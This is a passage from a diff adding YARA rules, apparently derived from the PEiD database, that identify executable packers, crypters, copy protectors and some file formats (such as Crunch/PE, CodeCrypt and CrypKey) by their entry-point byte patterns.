+        $a = {60 9C FC E8 00 00 00 00 5F 81 EF ?? ?? ?? ?? 8B C7 81 C7 ?? ?? ?? ?? 3B 47 2C 75 02 EB 2E 89 47 2C B9 A7 00 00 00 EB 05 01 44 8F ?? 49 0B C9 75 F7 83 7F 40 00 74 15 8B 77 40 03 F0 EB 09 8B 1E 03 D8 01 03 83 C6 04 83 3E 00 75 F2 8B 74 24 24 8B DE 03 F0 B9 01 00 00 00 33 C0 F0 0F B1 4F 30 75 F7 AC}
+    condition:
+        $a
+}
+
+rule PEiD_00384_Code_Virtualizer_V1_3_1_0____Oreans_Technologies_
+{
+    meta:
+        description = "[Code Virtualizer V1.3.1.0 -> Oreans Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C FC E8 00 00 00 00 5F 81 EF ?? ?? ?? ?? 8B C7 81 C7 ?? ?? ?? ?? 3B 47 2C 75 02 EB 2E 89 47 2C B9 A7 00 00 00 EB 05 01 44 8F ?? 49 0B C9 75 F7 83 7F 40 00 74 15 8B 77 40 03 F0 EB 09 8B 1E 03 D8 01 03 83 C6 04 83 3E 00 75 F2 8B 74 24 24 8B DE 03 F0 B9}
+    condition:
+        $a
+}
+
+rule PEiD_00385_Code_Lock_vx_x_
+{
+    meta:
+        description = "[Code-Lock vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {43 4F 44 45 2D 4C 4F 43 4B 2E 4F 43 58 00}
+    condition:
+        $a
+}
+
+rule PEiD_00386_CodeCrypt_v0_14b_
+{
+    meta:
+        description = "[CodeCrypt v0.14b]"
+        ep_only = "true"
+    strings:
+        $a = {E9 C5 02 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F}
+    condition:
+        $a
+}
+
+rule PEiD_00387_CodeCrypt_v0_15b_
+{
+    meta:
+        description = "[CodeCrypt v0.15b]"
+        ep_only = "true"
+    strings:
+        $a = {E9 31 03 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F}
+    condition:
+        $a
+}
+rule PEiD_00388_CodeCrypt_v0_164_
+{
+    meta:
+        description = "[CodeCrypt v0.164]"
+        ep_only = "true"
+    strings:
+        $a = {E9 2E 03 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F EB 03 FF 1D 34}
+    condition:
+        $a
+}
+
+rule PEiD_00389_CodeCrypt_v0_16b___v0_163b_
+{
+    meta:
+        description = "[CodeCrypt v0.16b - v0.163b]"
+        ep_only = "true"
+    strings:
+        $a = {E9 2E 03 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F}
+    condition:
+        $a
+}
+
+rule PEiD_00390_codeCrypter_0_31____Tibbar_
+{
+    meta:
+        description = "[codeCrypter 0.31 -> Tibbar]"
+        ep_only = "true"
+    strings:
+        $a = {50 58 53 5B 90 BB ?? ?? ?? 00 FF E3 90 CC CC CC 55 8B EC 5D C3 CC CC CC CC CC CC CC CC CC CC CC}
+    condition:
+        $a
+}
+
+rule PEiD_00391_codeCrypter_0_31_
+{
+    meta:
+        description = "[codeCrypter 0.31]"
+        ep_only = "true"
+    strings:
+        $a = {50 58 53 5B 90 BB ?? ?? 40 00 FF E3 90 CC CC CC 55 8B EC 5D C3}
+    condition:
+        $a
+}
+
+rule PEiD_00392_codeCrypter_0_31_
+{
+    meta:
+        description = "[codeCrypter 0.31]"
+        ep_only = "false"
+    strings:
+        $a = {50 58 53 5B 90 BB ?? ?? 40 00 FF E3 90 CC CC CC 55 8B EC 5D C3 CC CC CC CC CC CC CC CC CC CC CC}
+    condition:
+        $a
+}
+
+rule PEiD_00393_Com4mail_v1_0_
+{
+    meta:
+        description = "[Com4mail v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {42 45 47 49 4E 3D 3D 3D 74 66 75 64 23 6F 66 5F 43 6F 6D 34 4D 61 69 6C 5F 66 69 6C 65 23 0D 0A}
+    condition:
+        $a
+}
+
+rule PEiD_00394_COMPACK_v4_5__2__
+{
+    meta:
+        description = "[COMPACK v4.5 (2)]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? E8 ?? ?? 5D 83 ?? ?? 55 50 53 51 52 0E 07 0E 1F 8B CE}
+    condition:
+        $a
+}
+
+rule PEiD_00395_COMPACK_v5_1_
+{
+    meta:
+        description = "[COMPACK v5.1]"
+        ep_only = "true"
+    strings:
+        $a = {BD ?? ?? 50 06 8C CB 03 DD 8C D2 4B 8E DB BE ?? ?? BF ?? ?? 8E C2 B9 ?? ?? F3 A5 4A 4D 75 ?? 8B F7 8E DA 0E 07 06 16}
+    condition:
+        $a
+}
+
+rule PEiD_00396_COP_v1_0__c__1988_
+{
+    meta:
+        description = "[COP v1.0 (c) 1988]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? BE ?? ?? B9 ?? ?? AC 32 ?? ?? ?? AA E2 ?? 8B ?? ?? ?? EB ?? 90}
+    condition:
+        $a
+}
+
+rule PEiD_00397_Copy_Protector_v2_0_
+{
+    meta:
+        description = "[Copy Protector v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {2E A2 ?? ?? 53 51 52 1E 06 B4 ?? 1E 0E 1F BA ?? ?? CD 21 1F}
+    condition:
+        $a
+}
+
+rule PEiD_00398_CopyControl_v3_03_
+{
+    meta:
+        description = "[CopyControl v3.03]"
+        ep_only = "true"
+    strings:
+        $a = {CC 90 90 EB 0B 01 50 51 52 53 54 61 33 61 2D 35 CA D1 07 52 D1 A1 3C}
+    condition:
+        $a
+}
+
+rule PEiD_00399_CopyMinder____Microcosm_Ltd___Sign_by_fly_
+{
+    meta:
+        description = "[CopyMinder -> Microcosm.Ltd ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {83 25 ?? ?? ?? ?? EF 6A 00 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25}
+    condition:
+        $a
+}
+
+rule PEiD_00400_CopyMinder____Microcosm_Ltd_
+{
+    meta:
+        description = "[CopyMinder -> Microcosm.Ltd]"
+        ep_only = "true"
+    strings:
+        $a = {83 25 ?? ?? ?? ?? EF 6A 00 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25}
+    condition:
+        $a
+}
+
+rule PEiD_00401_CorelDraw_8_CDR_Graphics_format_
+{
+    meta:
+        description = "[CorelDraw 8 CDR Graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {52 49 46 46 ?? ?? ?? ?? 43 44 52 38}
+    condition:
+        $a
+}
+
+rule PEiD_00402_CorelDraw_CMX_Graphics_format_
+{
+    meta:
+        description = "[CorelDraw CMX Graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {52 49 46 46 ?? ?? ?? ?? 43 4D 58 31}
+    condition:
+        $a
+}
+
+rule PEiD_00403_CPAV_
+{
+    meta:
+        description = "[CPAV]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 4D 5A B1 01 93 01 00 00 02}
+    condition:
+        $a
+}
+
+rule PEiD_00404_Cracked_by_AutoHack__1__
+{
+    meta:
+        description = "[Cracked by AutoHack (1)]"
+        ep_only = "true"
+    strings:
+        $a = {FA 50 51 57 56 1E 06 2E 80 3E ?? ?? ?? 74 ?? 8E 06 ?? ?? 2B FF FC}
+    condition:
+        $a
+}
+
+rule PEiD_00405_Cracked_by_Autohack__2__
+{
+    meta:
+        description = "[Cracked by Autohack (2)]"
+        ep_only = "true"
+    strings:
+        $a = {0E 1F B4 09 BA ?? ?? CD 21 FA 8E 06 ?? ?? BE ?? ?? 8B 0E ?? ?? 83 F9}
+    condition:
+        $a
+}
+
+rule PEiD_00406_CrackStop_v1_01__c__Stefan_Esser_1997_
+{
+    meta:
+        description = "[CrackStop v1.01 (c) Stefan Esser 1997]"
+        ep_only = "true"
+    strings:
+        $a = {B4 48 BB FF FF B9 EB 27 8B EC CD 21 FA FC}
+    condition:
+        $a
+}
+
+rule PEiD_00407_CreateInstall_2003_3_5_
+{
+    meta:
+        description = "[CreateInstall 2003.3.5]"
+        ep_only = "false"
+    strings:
+        $a = {81 EC 0C 04 00 00 53 56 57 55 68 60 50 40 00 6A 01 6A 00 FF 15 D8 80 40 00 8B F0 FF 15 D4 80 40 00 3D B7 00 00 00 75 0F 56 FF 15 B8 80 40 00 6A 02 FF 15 A4 80 40 00 33 DB E8 F2 FE FF FF 68 02 7F 00 00 89 1D 94 74 40 00 53 89 1D 98 74 40 00 FF 15 E4 80 40}
+    condition:
+        $a
+}
+rule PEiD_00408_CreateInstall_Stub_vx_x_
+{
+    meta:
+        description = "[CreateInstall Stub vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 20 02 00 00 53 56 57 6A 00 FF 15 18 61 40 00 68 00 70 40 00 89 45 08 FF 15 14 61 40 00 85 C0 74 27 6A 00 A1 00 20 40 00 50 FF 15 3C 61 40 00 8B F0 6A 06 56 FF 15 38 61 40 00 6A 03 56 FF 15 38 61 40 00 E9 36 03 00 00 68 02 7F 00 00 33 F6 56}
+    condition:
+        $a
+}
+
+rule PEiD_00409_CreateInstall_Stub_vx_x_
+{
+    meta:
+        description = "[CreateInstall Stub vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 20 02 00 00 53 56 57 6A 00 FF 15 18 61 40 00 68 00 70 40 00 89 45 08 FF 15 14 61 40 00 85 C0 74 27 6A 00 A1 00 20 40 00 50 FF 15 3C 61 40 00 8B F0 6A 06 56 FF 15 38 61 40 00 6A 03 56 FF 15 38 61 40 00 E9 36 03 00 00 68 02 7F 00 00 33 F6 56 BF 00 30 00 00 FF 15 20 61 40 00 50 FF 15 2C 61 40 00 6A 04 57 68 00 FF 01 00 56 FF 15 CC 60 40 00 6A 04 A3 CC 35 40 00 57 68 00 0F 01 00 56 FF 15 CC 60 40 00 68 00 01 00 00 BE B0 3F 40 00 56 A3 C4 30 40 00 FF 75 08 FF 15 10 61 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00410_CreateInstall_v2003_3_5_
+{
+    meta:
+        description = "[CreateInstall v2003.3.5]"
+        ep_only = "false"
+    strings:
+        $a = {81 EC 0C 04 00 00 53 56 57 55 68 60 50 40 00 6A 01 6A 00 FF 15 D8 80 40 00 8B F0 FF 15 D4 80 40 00 3D B7 00 00 00 75 0F 56 FF 15 B8 80 40 00 6A 02 FF 15 A4 80 40 00 33 DB E8 F2 FE FF FF 68 02 7F 00 00 89 1D 94 74 40 00 53 89 1D 98 74 40 00 FF 15 E4 80 40 00 50 FF 15 E0 80 40 00 8B 0D 00 50 40 00 E8 68 FF FF FF B9 40 0D 03 00 89 44 24 14 E8 5A FF FF FF 68 00 02 00 00 8B 2D D0 80 40 00 89 44 24 1C 8D 44 24 20 50 53 FF D5 8D 4C 24 1C 53 68 00 00 00 80 8B 3D CC 80 40 00 6A 03 53 6A 03 68 00 00 00 80 51 FF D7 8B F0 53 8D 44 24 14 8B 0D 00 50 40 00 8B 54 24 18 50 51 52 56 FF 15 C8 80 40 00 85 C0 0F 84 40 02 00 00 8B 15 00 50 40 00 3B 54 24 10 0F 85 30 02 00 00 6A FF A1 04 50 40 00 2B D0 8B 4C 24 18 03 C8 E8 9F FE FF FF 3B 05 10 50 40 00 0F 85 10 02 00 00 56 FF}
+    condition:
+        $a
+}
+
+rule PEiD_00411_Creative_Audio_file_
+{
+    meta:
+        description = "[Creative Audio file]"
+        ep_only = "false"
+    strings:
+        $a = {43 72 65 61 74 69 76 65 20 56 6F 69 63 65 20 46 69 6C 65}
+    condition:
+        $a
+}
+
+rule PEiD_00412_Crinkler_V0_1_V0_2____Rune_L_H_Stubbe_and_Aske_Simon_Christensen_
+{
+    meta:
+        description = "[Crinkler V0.1-V0.2 -> Rune L.H.Stubbe and Aske Simon Christensen]"
+        ep_only = "true"
+    strings:
+        $a = {B9 ?? ?? ?? ?? 01 C0 68 ?? ?? ?? ?? 6A 00 58 50 6A 00 5F 48 5D BB 03 00 00 00 BE ?? ?? ?? ?? E9}
+    condition:
+        $a
+}
+
+rule PEiD_00413_Crinkler_V0_3_V0_4____Rune_L_H_Stubbe_and_Aske_Simon_Christensen_
+{
+    meta:
+        description = "[Crinkler V0.3-V0.4 -> Rune L.H.Stubbe and Aske Simon Christensen]"
+        ep_only = "true"
+    strings:
+        $a = {B8 00 00 42 00 31 DB 43 EB 58}
+    condition:
+        $a
+}
+
+rule PEiD_00414_Crunch_4____Bit_Arts_
+{
+    meta:
+        description = "[Crunch 4 -> Bit-Arts]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 E8 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00415_Crunch_4_0_
+{
+    meta:
+        description = "[Crunch 4.0]"
+        ep_only = "false"
+    strings:
+        $a = {EB 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 18 00 00 00 8B C5 55 60 9C 2B 85 E9 06 00 00 89 85 E1 06 00 00 FF 74 24 2C E8 BB 01 00 00 0F 82 92 05 00 00 E8 F1 03 00 00 49 0F 88 86 05 00 00 68 6C D9 B2 96 33 C0 50 E8 24}
+    condition:
+        $a
+}
+
+rule PEiD_00416_Crunch_5____Bit_Arts_
+{
+    meta:
+        description = "[Crunch 5 -> Bit-Arts]"
+        ep_only = "false"
+    strings:
+        $a = {EB 15 03 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 68 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 1D 00 00 00 8B C5 55 60 9C 2B 85 FC 07 00 00 89 85 E8 07 00 00 FF 74 24 2C E8 20 02 00 00 0F 82 94 06 00 00 E8 F3 04 00 00 49 0F 88 88 06 00 00 8B B5 E8 07 00}
+    condition:
+        $a
+}
+
+rule PEiD_00417_Crunch_5___Fusion_4____Bit_Arts_
+{
+    meta:
+        description = "[Crunch 5 / Fusion 4 -> Bit-Arts]"
+        ep_only = "true"
+    strings:
+        $a = {EB 15 03 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 68 00 00 00 00 55 E8 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00418_Crunch_5_Fusion_4_
+{
+    meta:
+        description = "[Crunch 5 Fusion 4]"
+        ep_only = "false"
+    strings:
+        $a = {EB 15 03 ?? ?? ?? 06 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 55 E8}
+    condition:
+        $a
+}
+
+rule PEiD_00419_Crunch_v4_0_
+{
+    meta:
+        description = "[Crunch v4.0]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 18 00 00 00 8B C5 55 60 9C 2B 85 E9 06 00 00 89 85 E1 06 00 00 FF 74 24 2C E8 BB 01 00 00 0F 82 92 05 00 00 E8 F1 03 00 00 49 0F 88 86 05 00 00 68 6C D9 B2 96 33 C0 50 E8 24 03 00 00 89 85 D9 41 00 00 68 EC 49 7B 79 33 C0 50 E8 11 03 00 00 89 85 D1 41 00 00 E8 67 05 00 00 E9 56 05 00 00 51 52 53 33 C9 49 8B D1 33 C0 33 DB AC 32 C1 8A CD 8A EA 8A D6 B6 08 66 D1 EB 66 D1 D8 73 09 66 35 20 83 66 81 F3 B8 ED FE CE 75 EB 33 C8 33 D3 4F 75 D5 F7 D2 F7 D1 5B 8B C2 C1 C0 10 66 8B C1 5A 59 C3 68 03 02 00 00 E8 80 04 00 00 0F 82 A8 02 00 00 96 8B 44 24 04 0F C8 8B D0 25 0F 0F 0F 0F 33 D0 C1 C0 08 0B C2 8B D0 25 33 33 33 33 33 D0 C1 C0 04 0B C2 8B D0 25 55 55 55 55 33 D0 C1 C0 02 0B C2}
+    condition:
+        $a
+}
+
+rule PEiD_00420_Crunch_v5____Bit_Arts_
+{
+    meta:
+        description = "[Crunch v5 -> Bit-Arts]"
+        ep_only = "true"
+    strings:
+        $a = {EB 15 03 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 68 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 1D 00 00 00 8B C5 55 60 9C 2B 85 FC 07 00 00 89 85 E8 07 00 00 FF 74 24 2C E8 20 02 00 00 0F 82 94 06 00 00 E8 F3 04 00 00 49 0F 88 88 06 00 00 8B B5 E8 07 00 00 8B 56 3C 8D 8C 32 C8 00 00 00 83 39 00 74 50 8B D9 53 68 BB D4 C3 79 33 C0 50 E8 0E 04 00 00 50 8D 95 EC 07 00 00 52 6A 04 68 00 10 00 00 FF B5 E8 07 00 00 FF D0 58 5B C7 03 00 00 00 00 C7 43 04 00 00 00 00 8D 95 F0 07 00 00 52 FF B5 EC 07 00 00 68 00 10 00 00 FF B5 E8 07 00 00 FF D0 68 6C D9 B2 96 33 C0 50 E8 C1 03 00 00 89 85 ?? 46 00 00 68 EC 49 7B 79 33 C0 50 E8 AE 03 00 00 89 85 ?? 46 00 00 E8 04 06 00 00 E9 F3 05 00 00 51 52 53 33 C9 49 8B D1 33 C0 33 DB AC 32 C1 8A CD 8A EA 8A D6 B6 08 66 D1 EB 66 D1}
+    condition:
+        $a
+}
+
+rule PEiD_00421_Crunch_V5_0____Bitarts_
+{
+    meta:
+        description = "[Crunch V5.0 -> Bitarts]"
+        ep_only = "true"
+    strings:
+        $a = {EB 15 03 00 00 00 06}
+    condition:
+        $a
+}
+
+rule PEiD_00422_Crunch_PE_4_0_
+{
+    meta:
+        description = "[Crunch/PE 4.0]"
+        ep_only = "false"
+    strings:
+        $a = {EB 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 5D 81 ED 18 ?? ?? ?? 8B C5 55 60 9C 2B 85 E9 06 ?? ?? 89 85 E1 06 ?? ?? FF 74 24 2C E8 BB 01 00 00 0F 82 92 05 00 00 E8 F1 03 00 00 49 0F 88 86 05 00 00 68 6C D9 B2 96 33 C0 50 E8 24}
+    condition:
+        $a
+}
+
+rule PEiD_00423_Crunch_PE_v1_0_x_x_
+{
+    meta:
+        description = "[Crunch/PE v1.0.x.x]"
+        ep_only = "true"
+    strings:
+        $a = {55 E8 ?? ?? ?? ?? 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 09 C6 85}
+    condition:
+        $a
+}
+
+rule PEiD_00424_Crunch_PE_v2_0_x_x_
+{
+    meta:
+        description = "[Crunch/PE v2.0.x.x]"
+        ep_only = "true"
+    strings:
+        $a = {55 E8 ?? ?? ?? ?? 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 55 BB ?? ?? ?? ?? 03 DD 53 64 67 FF 36 ?? ?? 64 67 89 26}
+    condition:
+        $a
+}
+
+rule PEiD_00425_Crunch_PE_v3_0_x_x_
+{
+    meta:
+        description = "[Crunch/PE v3.0.x.x]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 5D 81 ED 18 ?? ?? ?? 8B C5 55 60 9C 2B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? FF 74}
+    condition:
+        $a
+}
+
+rule PEiD_00426_Crunch_PE_v4_0_
+{
+    meta:
+        description = "[Crunch/PE v4.0]"
+        ep_only = "false"
+    strings:
+        $a = {EB 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 5D 81 ED 18 ?? ?? ?? 8B C5 55 60 9C 2B 85 E9 06 ?? ?? 89 85 E1 06 ?? ?? FF 74 24 2C E8 BB 01 00 00 0F 82 92 05 00 00 E8 F1 03 00 00 49 0F 88 86 05 00 00 68 6C D9 B2 96 33 C0 50 E8 24 03 00 00 89 85 D9 41 00 00 68 EC 49 7B 79 33 C0 50 E8 11 03 00 00 89 85 D1 41 00 00 E8 67 05 00 00 E9 56 05 00 00 51 52 53 33 C9 49 8B D1 33 C0 33 DB AC 32 C1 8A CD 8A EA 8A D6 B6 08 66 D1 EB 66 D1 D8 73 09 66 35 20 83 66 81 F3 B8 ED FE CE 75 EB 33 C8 33 D3 4F 75 D5 F7 D2 F7 D1 5B 8B C2 C1 C0 10 66 8B C1 5A 59 C3 68 03 02 00 00 E8 80 04 00 00 0F 82 A8 02 00 00 96 8B 44 24 04 0F C8 8B D0 25 0F 0F 0F 0F 33 D0 C1 C0 08 0B C2 8B D0 25 33 33 33 33 33 D0 C1 C0 04 0B C2 8B D0 25 55 55 55 55 33 D0 C1 C0 02 0B C2}
+    condition:
+        $a
+}
+
+rule PEiD_00427_Crunch_PE_
+{
+    meta:
+        description = "[Crunch/PE]"
+        ep_only = "true"
+    strings:
+        $a = {55 E8 ?? ?? ?? ?? 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85}
+    condition:
+        $a
+}
+
+rule PEiD_00428_Cruncher_v1_0_
+{
+    meta:
+        description = "[Cruncher v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {2E ?? ?? ?? ?? 2E ?? ?? ?? B4 30 CD 21 3C 03 73 ?? BB ?? ?? 8E DB 8D ?? ?? ?? B4 09 CD 21 06 33 C0 50 CB}
+    condition:
+        $a
+}
+
+rule PEiD_00429_CrypKey____Kenonic_Controls__h__
+{
+    meta:
+        description = "[CrypKey -> Kenonic Controls (h)]"
+        ep_only = "true"
+    strings:
+        $a = {8B 1D ?? ?? 3E 00 83 FB 00 75 0A E8 3C 00 00 00 E8 ?? 0A 00 00 8B 44 24 08 50 E8 ?? 02 00 00 A1 ?? ?? 3E 00 83 F8 01 74 06 FF 25 14 ?? 3E 00 C3 C8 00 00 00 53 8B 5D 08 33 C0 8B 4D 0C 8B 13 33 D3 83 C3 04 03 C2 49 75 F4 5B C9 C3 56 68 ?? ?? 3E 00 E8 ?? 16 00 00 8B F0 68 ?? ?? 3E 00 56 E8 ?? 16 00 00 A3 ?? ?? 3E 00 68 ?? ?? 3E 00 56 E8 ?? 16 00 00 A3 ?? ?? 3E 00 68 ?? ?? 3E 00 56 E8 ?? ?? 00 00 A3 ?? ?? 3E 00 68 ?? ?? 3E 00 56 E8 ?? ?? 00 00 A3 ?? ?? 3E 00 68 ?? ?? 3E 00 56 E8 ?? ?? 00 00 A3 ?? ?? 3E 00 68 ?? ?? 3E 00 56 E8 ?? ?? 00 00 A3 ?? ?? 3E 00 68 ?? ?? 3E 00 56 E8}
+    condition:
+        $a
+}
+
+rule PEiD_00430_CrypKey_v5___v6_
+{
+    meta:
+        description = "[CrypKey v5 - v6]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 58 83 E8 05 50 5F 57 8B F7 81 EF ?? ?? ?? ?? 83 C6 39 BA ?? ?? ?? ?? 8B DF B9 0B ?? ?? ?? 8B 06}
+    condition:
+        $a
+}
+
+rule PEiD_00431_CrypKey_V5_6_X____Kenonic_Controls_Ltd__
+{
+    meta:
+        description = "[CrypKey V5.6.X -> Kenonic Controls Ltd.]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 00 75 07 6A 00 E8}
+    condition:
+        $a
+}
+
+rule PEiD_00432_CrypKey_V5_6_X_DLL____Kenonic_Controls_Ltd__
+{
+    meta:
+        description = "[CrypKey V5.6.X DLL -> Kenonic Controls Ltd.]"
+        ep_only = "true"
+    strings:
+        $a = {8B 1D ?? ?? ?? ?? 83 FB 00 75 0A E8 ?? ?? ?? ?? E8}
+    condition:
+        $a
+}
+rule PEiD_00433_CrypKey_V6_1X_DLL____CrypKey__Canada__Inc__
+{
+    meta:
+        description = "[CrypKey V6.1X DLL -> CrypKey (Canada) Inc.]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D ?? ?? ?? ?? 00 75 34 68 ?? ?? ?? ?? E8}
+    condition:
+        $a
+}
+
+rule PEiD_00434_CRYPT_Version_1_7__c__Dismember__COM__
+{
+    meta:
+        description = "[CRYPT Version 1.7 (c) Dismember (COM)]"
+        ep_only = "true"
+    strings:
+        $a = {0E 17 9C 58 F6 C4 01 ?? ?? ?? ?? ?? B4 01 BE ?? ?? BF ?? ?? B9 ?? ?? 68 ?? ?? 68 ?? ?? 68 ?? ?? 57 F3 A4 C3 B0 02 E6 21 60}
+    condition:
+        $a
+}
+
+rule PEiD_00435_CRYPT_Version_1_7__c__Dismember__EXE__
+{
+    meta:
+        description = "[CRYPT Version 1.7 (c) Dismember (EXE)]"
+        ep_only = "true"
+    strings:
+        $a = {0E 17 9C 58 F6 ?? ?? 74 ?? E9}
+    condition:
+        $a
+}
+
+rule PEiD_00436_CryptCom_v1_1_
+{
+    meta:
+        description = "[CryptCom v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? 57 BE ?? ?? ?? B9 ?? ?? F3 A4 C3 8B ?? ?? ?? 8B ?? ?? ?? BF ?? ?? 57 BE ?? ?? ?? AD 33 C2 AB E2 ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_00437_Crypter_3_1____SLESH_
+{
+    meta:
+        description = "[Crypter 3.1 -> SLESH]"
+        ep_only = "true"
+    strings:
+        $a = {68 FF 64 24 F0 68 58 58 58 58 FF D4 50 8B 40 F2 05 B0 95 F6 95 0F 85 01 81 BB FF 68}
+    condition:
+        $a
+}
+
+rule PEiD_00438_Cryptic_2_0____Tughack_
+{
+    meta:
+        description = "[Cryptic 2.0 -> Tughack]"
+        ep_only = "true"
+    strings:
+        $a = {B8 00 00 40 00 BB ?? ?? ?? 00 B9 00 10 00 00 BA ?? ?? ?? 00 03 D8 03 C8 03 D1 3B CA 74 06 80 31 ?? 41 EB F6 FF E3}
+    condition:
+        $a
+}
+
+rule PEiD_00439_Crypto_Lock_2_02__Eng_____Ryan_Thian_
+{
+    meta:
+        description = "[Crypto-Lock 2.02 (Eng) -> Ryan Thian]"
+        ep_only = "false"
+    strings:
+        $a = {60 BE 15 90 40 00 8D BE EB 7F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0}
+    condition:
+        $a
+}
+
+rule PEiD_00440_Crypto_Lock_2_02__Eng_____Ryan_Thian_
+{
+    meta:
+        description = "[Crypto-Lock 2.02 (Eng) -> Ryan Thian]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? 90 40 00 8D BE ?? ?? FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0}
+    condition:
+        $a
+}
+
+rule PEiD_00441_Crypto_Lock_v2_02__Eng_____Ryan_Thian_
+{
+    meta:
+        description = "[Crypto-Lock v2.02 (Eng) -> Ryan Thian]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE 15 90 40 00 8D BE EB 7F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47}
+    condition:
+        $a
+}
+
+rule PEiD_00442_Crypto_Lock_v2_02__Eng_____Ryan_Thian_
+{
+    meta:
+        description = "[Crypto-Lock v2.02 (Eng) -> Ryan Thian]"
+        ep_only = "true"
+    strings:
